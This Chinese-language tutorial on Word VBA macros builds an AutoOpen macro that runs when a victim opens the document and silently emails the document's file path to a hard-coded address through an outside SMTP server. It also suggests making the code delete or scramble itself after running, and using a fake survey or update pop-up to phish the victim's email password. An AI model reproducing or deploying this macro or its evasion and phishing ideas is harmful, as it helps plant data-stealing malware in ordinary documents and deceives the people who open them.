基于VisualBasicForApplications
其一:录制宏
在word,视图,宏,录制宏选项。
操作比较简单,不再赘述。 (注意根据需求选择normal还是当前文档)
例如:录制宏:快捷键设为空格,将某些字段设为隐藏/空白。可以隐藏信息。(虽然很简陋)
其二:编辑宏
视图 宏 查看宏 创建 (注意根据需求选择normal还是当前文档)
CDO组件发送邮件。
用了ActiveDocument.FullName获取当前文档的path。
不知道为什么Dim mail As New CDO.Message 会报错
改用Set cm = CreateObject("CDO.Message")
同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg
注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。
另外编辑完成后提示doc不支持宏,所以改为docm格式。
另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库
代码
改进的思路也有很多。比如运行完直接销毁代码,运行完随机替换代码字符等等。
还有社会工程的方法,比如弹出一个框要用户输入自己的邮箱和密码。(以调查,更新等名义)
Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")
Set cm = CreateObject("CDO.Message")
cm.From = "[email protected]"
cm.To = "[email protected]"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
.Item(stUl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(stUl & "smtpserverport") = 25 'SMTP服务器端口
.Item(stUl & "sendusing") = 2 '发送端口
.Item(stUl & "smtpauthenticate") = 1 '需要提供用户名和密码,0是不提供 '
.Item(stUl & "sendusername") = "xxxx" '发送方邮箱名称
.Item(stUl & "sendpassword") = "xxxx" '发送方邮箱密码
.Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub